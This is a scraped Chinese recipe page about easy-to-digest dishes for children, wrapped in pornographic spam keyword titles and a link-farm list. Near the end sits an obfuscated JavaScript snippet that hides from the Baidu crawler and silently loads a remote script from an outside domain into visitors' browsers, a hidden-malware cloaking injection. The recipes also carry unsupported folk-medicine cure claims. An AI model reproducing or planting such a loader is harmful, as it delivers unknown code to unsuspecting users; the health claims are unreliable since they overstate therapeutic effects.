久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 母嬰 > 育兒知識 > 正文

小兒易消化的幾道菜肴介紹

2017-04-02 11:41:56  來源:360常識網   熱度:
導語:我們都知道,小孩子的腸胃比較敏感,因此要選擇營養豐富易于消化的食品,例如綠葉蔬菜,蔬菜具有豐富的高纖維素和葉綠素,并且易吸收消化。

我們都知道,小孩子的腸胃比較敏感,因此要選擇營養豐富易于消化的食品,例如綠葉蔬菜,蔬菜具有豐富的高纖維素和葉綠素,并且易吸收消化。另外,蛋白質食品應盡量選擇營養價值高的動物食品或大豆及其制成品,我們在幫助孩子消化的同時也要注意美味相伴,這也有利于小兒的食用。

1.板栗燉母雞

原料:板栗500克,柴母雞1只(農村散養)約1000克重,料酒3匙,姜3片,水1500毫升,鹽適量。

制法:先將母雞宰殺,去毛,剖腹去腸、內雜,剪去爪尖,洗凈,切成塊待用。

再將板栗洗凈,切口,放入開水鍋中煮2分鐘,口裂體漲為宜,剝去皮殼。

最后在鍋內裝入雞塊、栗子、姜片、料酒、水煮開,改用溫火燉2小時,雞肉爛后加食鹽適量即可。

功效:母雞肉與栗子合用,助其健脾益腎之功。慢性腸胃炎患者和腎虧尿頻、腰腿無力者均可食用,療效顯著。

2.桂圓松子仁湯

原料:桂圓40克,松子仁20克,白糖適量。

制法:將桂圓去殼后洗凈,松子仁洗凈,兩者共入鍋中,加水適量,用中火燒開,改用溫火煮10分鐘,加白糖,過約10秒鐘關火即成。

功效:桂圓肉能補脾益胃、養血安神、益心補氣。松子仁能滋陰、熄風、潤肺。兩者共食,更能起到養胃滋補的作用。

3.香菇粥

配方:小米50克、香菇50克。

制作:先煮小米粥,取其湯液,再與香菇同煮。

每日服3次,持續服用有效。

功效:大益胃氣。適用于氣虛食少,有開胃肋食用。

4.豬脾粥

配方:豬脾、豬胃各1具、粳米100克

制作:將豬脾、豬胃洗凈切細,與米同煮為粥

功效:健腹益氣。適用于脾胃氣虛、不下食、米谷不化

小兒的體格、智力發展有賴于合理的營養供給,因此在其成長發育的過程中要更加注意食物的供給,要選擇好吸收消化的食物,做出好消化的菜肴,這樣才會使小兒更加健康快樂的成長,不宜長期食用一種,要多多變換食材這樣才能更加有利于孩子的健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩视频一区二区 | 欧美日韩中文 | 精品久久毛片 | 在线视频中文字幕 | 91精品在线看 | 91久久精品一区二区别 | 四季久久免费一区二区三区四区 | 99精品国产一区二区 | 丁香婷婷在线观看 | 亚洲人成网亚洲欧洲无码 | 精品国产一级毛片 | 成年无码av片在线 | 日韩一区二区免费视频 | 成人欧美一区二区三区黑人孕妇 | 日韩精品123 | 色偷偷噜噜噜亚洲男人 | 日韩免费一区二区三区 | 欧美卡一卡二 | 国产精自产拍久久久久久 | 久久久成人网 | 久久久亚洲一区二区三区 | 国产精品嫩草55av | 看a网址| 久久国产香蕉 | 亚洲精品自在在线观看 | 日韩色综合 | 视频在线91| 综合久久综合久久 | 97成人资源 | 久操成人 | 精品久久久久久久久久久久久久 | 欧美黑人巨大久久久精品一区 | 欧美中文在线 | 国产一区二区三区久久久久久久 | 99精品国产99久久久久久福利 | 婷婷国产精品 | 久久国产精品一区二区 | 国产成人精品一区二区三区视频 | 欧美色综合一区二区三区 | 中文字幕一区二区三区四区 | www.国产|